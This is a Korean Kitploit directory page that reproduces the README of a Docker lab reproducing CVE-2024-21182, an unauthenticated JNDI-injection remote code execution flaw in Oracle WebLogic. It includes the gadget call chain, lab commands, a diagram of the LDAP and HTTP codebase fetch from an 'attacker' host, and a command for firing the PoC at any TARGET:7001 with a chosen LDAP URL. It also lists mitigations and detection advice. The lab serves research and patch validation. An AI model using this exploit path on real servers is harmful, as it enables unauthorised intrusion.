Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-21182 — 재현 가능한 Docker 랩 — CVE-2024-21182: Oracle WebLogic T3/IIOP OpaqueReference JNDI 주입 → 비인증 RCE (CVE-2023-21839 패치 우회 계열). 단일 명령어 validate.sh. | Kitploit
도구/GitHubGitHub/dinosn/cve-2024-21182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdinosn/cve-2024-21182

CVE-2024-21182

재현 가능한 Docker 랩 — CVE-2024-21182: Oracle WebLogic T3/IIOP OpaqueReference JNDI 주입 → 비인증 RCE (CVE-2023-21839 패치 우회 계열). 단일 명령어 validate.sh.

저장소 보기
32개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI 주입 → RCE (실습 랩)

자체 포함된(self-contained) 단일 명령 Docker 실습 랩으로, Oracle WebLogic Server의 OpaqueReference JNDI 주입 취약점 계열(CVE-2024-21182, CVE-2023-21839의 패치 우회)을 재현 및 검증하고 이를 비인증 원격 코드 실행으로 전환합니다.

⚠️ 승인된 보안 연구, 교육, 패치 검증 용도로만 사용하세요. 면책 조항을 참조하세요. 이 랩 또는 본인이 소유한 시스템에서만 실행하세요.


시연 내용

CVE-2024-21182는 Oracle WebLogic Server Core 구성 요소의 비인증 취약점으로, T3 / IIOP 프로토콜(기본 포트 7001)을 통해 접근할 수 있습니다. 공격자가 조작된 "reference" 객체를 서버의 JNDI 트리에 바인딩하고 공격자가 제어하는 URL에 대한 서버 측 JNDI 조회를 트리거할 수 있습니다. 이는 RCE로 이어지는 전형적인 JNDI 주입입니다.

CVECVE-2024-21182
제품Oracle WebLogic Server (Core)
영향받는 버전(Oracle 공식 기준)12.2.1.4.0, 14.1.1.0.0
수정 버전Oracle 2024년 10월 Critical Patch Update
공격 경로네트워크, 비인증, T3/IIOP (포트 7001)
CISA KEV예 (야생에서 실제 악용됨)
분류CVE-2023-21839의 패치 우회 (OpaqueReference JNDI 주입)

근본 원인

WebLogic reference 객체는 lookup() 중에 ObjectFactory에 의해 서버 측에서 해석되며, 이 ObjectFactory는 공격자가 제공한 URL에 대해 중첩된 JNDI 조회를 수행합니다:

root@kitploit:~
weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side

CVE-2023-21839는 weblogic.jndi.internal.ForeignOpaqueReference를 통해 이 지점에 도달했으며, Oracle은 이후 이를 차단했습니다. CVE-2024-21182는 weblogic.ejb.container.internal.AggregatableOpaqueReference를 통해 동일한 외부 조회에 도달함으로써 해당 차단을 우회합니다. 이 클래스의 private referent 필드는 리플렉션을 통해 weblogic.application.naming.MessageDestinationReference로 설정됩니다.


⚠️ 중요: 랩 이미지와 CVE 명시 버전의 차이

이 랩은 vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, 번들 JDK 1.8.0_151)을 사용합니다. 이는 자유롭게 재배포할 수 있는 유일한 취약 WebLogic 이미지이기 때문입니다. CVE-2024-21182가 공식적으로 명시한 버전(12.2.1.4.0 / 14.1.1.0.0)은 Oracle 라이선스가 필요하므로 여기에 게시할 수 없습니다.

결과적으로 발생하는 한계를 정직하게 밝히면:

  • 이 랩은 정확한 CVE-2024-21182 가젯 클래스(AggregatableOpaqueReference + MessageDestinationReference)를 사용하는 OpaqueReference JNDI 주입 → RCE 취약점 계열을 충실히 재현합니다.
  • 패치 우회 속성 자체를 증명하지는 않습니다. 12.2.1.3은 CVE-2023-21839 블랙리스트보다 이전 버전이므로 이 이미지에는 우회할 패치가 없습니다. 우회를 구체적으로 시연하려면 2024년 10월 CPU 직전까지 패치된 라이선스 12.2.1.4 빌드가 필요합니다.
  • RCE 경로: JDK 1.8.0_151이 8u191 이전 버전이고 com.sun.jndi.ldap.object.trustURLCodebase=true가 기본값(원격 코드베이스 클래스 로딩)이므로 여기서는 작동합니다. 최신 JDK에서는 주입이 여전히 발생하지만(SSRF), RCE는 원격 코드베이스 대신 WebLogic 클래스패스에 이미 존재하는 가젯이 필요합니다.

빠른 시작

요구 사항: Docker + Docker Compose v2. 약 3GB 이미지 다운로드. Apple Silicon에서는 이미지가 linux/amd64 에뮬레이션으로 실행됩니다(콜드 부팅이 느리며 2~5분 소요).

root@kitploit:~
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL

./validate.sh 실행 결과의 예상 마지막 출력:

root@kitploit:~
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

정리:

root@kitploit:~
docker compose down

작동 방식 (구성 요소별 동작)

root@kitploit:~
                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`
  • poc/CVE_2024_21182.java — T3 클라이언트. 악성 AggregatableOpaqueReference를 생성하여 bind()한 다음 lookup()으로 서버 측 해석을 트리거합니다. 매개변수: <t3-host:port> <ldap-url>. 가젯 클래스가 WebLogic의 전체 모듈 세트에 있고(재배포 가능한 thin client에는 없음) Oracle jar를 여기에 포함할 수 없으므로, validate.sh가 WebLogic 컨테이너 내부에서 이를 컴파일합니다.
  • exploit/ldap_server.py — JNDI Reference를 반환하는 최소한의 악성 LDAP 서버와 팩토리 클래스를 호스팅하는 HTTP 서버. attacker 컨테이너에서 실행되며 WebLogic에서 서비스 이름 attacker로 접근할 수 있습니다.
  • exploit/Exploit.java / Exploit.class — 페이로드 팩토리(Java 8 바이트코드). 정적 초기화자(static initializer)가 id / 를 실행하고 출력을 victim 내부의 에 기록합니다. 설계상 무해합니다. 명령을 변경하려면 해당 파일을 수정한 후 를 실행하세요.

표시되는 ClassCastException (Exploit cannot be cast to ObjectFactory)는 예상된 것이며 무해합니다(cosmetic) — 정적 초기화자(페이로드)가 이미 실행된 후에 발생하기 때문입니다.


패치된 / 실제 대상 검증

테스트 권한이 있는 모든 T3 엔드포인트를 대상으로 PoC를 실행하세요:

root@kitploit:~
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
  • 주입은 발생(외부 LDAP 확인)하지만 RCE는 없음 → JDK에 trustURLCodebase=false가 설정된 경우입니다. SSRF는 여전히 가능하며, 클래스패스 가젯을 통한 RCE도 가능할 수 있습니다.
  • 아무것도 발생하지 않음 → OpaqueReference 경로가 패치된 경우입니다(2024년 10월 CPU 적용).

완화 방안

  • 패치 — Oracle 2024년 10월 Critical Patch Update를 적용하세요.
  • 네트워크 — WebLogic 연결 필터(weblogic.security.net.ConnectionFilterImpl)와 호스트 방화벽으로 T3/IIOP(7001)를 제한하세요.
  • JDK — com.sun.jndi.ldap.object.trustURLCodebase=false를 유지하세요(현재 JDK의 기본값). 원격 코드베이스 RCE 경로를 차단합니다(주입 경로는 차단하지 않음).
  • 탐지 — WebLogic JVM에서 허용 목록에 없는 호스트로의 외부 LDAP/RMI/DNS 트래픽, WebLogic 프로세스의 예상치 못한 자식 프로세스, *OpaqueReference 유형의 T3 bind를 모니터링하세요.

크레딧 및 참고 자료

  • 공개 PoC 가젯: k4it0k1d/CVE-2024-21182
  • 취약 이미지: vulhub (weblogic/CVE-2023-21839)
  • 배경 자료: Oracle CPU 권고; CVE-2023-21839 연구(WebLogic OpaqueReference 계열)

면책 조항

이 프로젝트는 승인된 보안 테스트, 방어 검증, 교육을 위해 게시되었습니다. 취약한 소프트웨어는 격리된 Docker 랩에서 실행됩니다. 본인이 소유하지 않았거나 명시적으로 테스트 권한이 없는 시스템에 이러한 기술을 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다. LICENSE를 참조하세요.

도구 다운로드
uname -a
/tmp/RCE_PROOF_CVE_2024_21182
exploit/build.sh